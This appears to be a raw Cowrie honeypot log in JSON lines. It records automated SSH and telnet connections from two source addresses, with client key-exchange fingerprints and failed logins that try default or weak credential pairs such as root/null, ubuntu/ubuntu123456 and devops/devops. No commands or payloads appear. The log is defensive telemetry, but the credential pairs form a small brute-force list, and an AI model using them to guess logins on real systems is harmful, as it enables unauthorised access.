{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:46.971394Z","src_ip":"176.65.132.129","session":"f51dd3ac1260","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34036,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b56b74e1ea1","protocol":"telnet","message":"New connection: 45.58.127.90:34036 (10.17.0.5:23) [session: 5b56b74e1ea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:47.005878Z"}
{"eventid":"cowrie.login.failed","username":"ftpUser","password":"ftpUser","message":"login attempt [ftpUser/ftpUser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:47.219648Z","src_ip":"176.65.132.129","session":"f51dd3ac1260","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:48.304227Z","src_ip":"176.65.132.129","session":"f51dd3ac1260","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46114,"dst_ip":"10.17.0.5","dst_port":23,"session":"6514c11951cb","protocol":"telnet","message":"New connection: 45.58.127.90:46114 (10.17.0.5:23) [session: 6514c11951cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:49.907355Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37476,"dst_ip":"159.203.135.109","dst_port":22,"session":"72088062620e","protocol":"ssh","message":"New connection: 176.65.132.129:37476 (159.203.135.109:22) [session: 72088062620e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:50.325859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:50.330119Z","src_ip":"176.65.132.129","session":"72088062620e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:50.411788Z","src_ip":"176.65.132.129","session":"72088062620e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgresql","password":"postgresql","message":"login attempt [postgresql/postgresql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:50.658413Z","src_ip":"176.65.132.129","session":"72088062620e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:51.743828Z","src_ip":"176.65.132.129","session":"72088062620e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37484,"dst_ip":"159.203.135.109","dst_port":22,"session":"23b7a75646d7","protocol":"ssh","message":"New connection: 176.65.132.129:37484 (159.203.135.109:22) [session: 23b7a75646d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:53.836508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:53.841473Z","src_ip":"176.65.132.129","session":"23b7a75646d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:53.927777Z","src_ip":"176.65.132.129","session":"23b7a75646d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123456","message":"login attempt [ubuntu/ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:54.174415Z","src_ip":"176.65.132.129","session":"23b7a75646d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:55.261173Z","src_ip":"176.65.132.129","session":"23b7a75646d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46130,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef6b0069b287","protocol":"telnet","message":"New connection: 45.58.127.90:46130 (10.17.0.5:23) [session: ef6b0069b287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:56.154743Z"}
{"eventid":"cowrie.session.closed","duration":42.031540632247925,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:56.484768Z","src_ip":"45.58.127.90","session":"497cb9469ae9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37308,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3b7639403a9","protocol":"ssh","message":"New connection: 176.65.132.129:37308 (159.203.135.109:22) [session: b3b7639403a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:57.245384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:57.249937Z","src_ip":"176.65.132.129","session":"b3b7639403a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:57.332730Z","src_ip":"176.65.132.129","session":"b3b7639403a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:57.581530Z","src_ip":"176.65.132.129","session":"b3b7639403a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:58.772123Z","src_ip":"176.65.132.129","session":"b3b7639403a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46120,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad944488e91d","protocol":"telnet","message":"New connection: 45.58.127.90:46120 (10.17.0.5:23) [session: ad944488e91d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:59.254504Z"}
{"eventid":"cowrie.session.closed","duration":0.1075143814086914,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:04:59.361907Z","src_ip":"45.58.127.90","session":"ad944488e91d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37354,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5a6346e53f9","protocol":"ssh","message":"New connection: 176.65.132.129:37354 (159.203.135.109:22) [session: e5a6346e53f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:00.621788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:00.627140Z","src_ip":"176.65.132.129","session":"e5a6346e53f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:00.709756Z","src_ip":"176.65.132.129","session":"e5a6346e53f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:01.176599Z","src_ip":"176.65.132.129","session":"e5a6346e53f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:02.261745Z","src_ip":"176.65.132.129","session":"e5a6346e53f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41114,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfb43bf3714b","protocol":"telnet","message":"New connection: 45.58.127.90:41114 (10.17.0.5:23) [session: cfb43bf3714b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:03.252903Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37378,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdea50e3d5bf","protocol":"ssh","message":"New connection: 176.65.132.129:37378 (159.203.135.109:22) [session: fdea50e3d5bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:04.154613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:04.159687Z","src_ip":"176.65.132.129","session":"fdea50e3d5bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:04.247331Z","src_ip":"176.65.132.129","session":"fdea50e3d5bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:04.500436Z","src_ip":"176.65.132.129","session":"fdea50e3d5bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:05.743099Z","src_ip":"176.65.132.129","session":"fdea50e3d5bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40900,"dst_ip":"159.203.135.109","dst_port":22,"session":"0904d3ce8692","protocol":"ssh","message":"New connection: 176.65.132.129:40900 (159.203.135.109:22) [session: 0904d3ce8692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:07.569961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:07.575297Z","src_ip":"176.65.132.129","session":"0904d3ce8692","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:07.657471Z","src_ip":"176.65.132.129","session":"0904d3ce8692","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:07.901639Z","src_ip":"176.65.132.129","session":"0904d3ce8692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:08.986548Z","src_ip":"176.65.132.129","session":"0904d3ce8692","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40920,"dst_ip":"159.203.135.109","dst_port":22,"session":"12f2703c386b","protocol":"ssh","message":"New connection: 176.65.132.129:40920 (159.203.135.109:22) [session: 12f2703c386b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:11.213295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:11.217803Z","src_ip":"176.65.132.129","session":"12f2703c386b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:11.300045Z","src_ip":"176.65.132.129","session":"12f2703c386b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11","message":"login attempt [root/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:11.549392Z","src_ip":"176.65.132.129","session":"12f2703c386b","protocol":"ssh"}
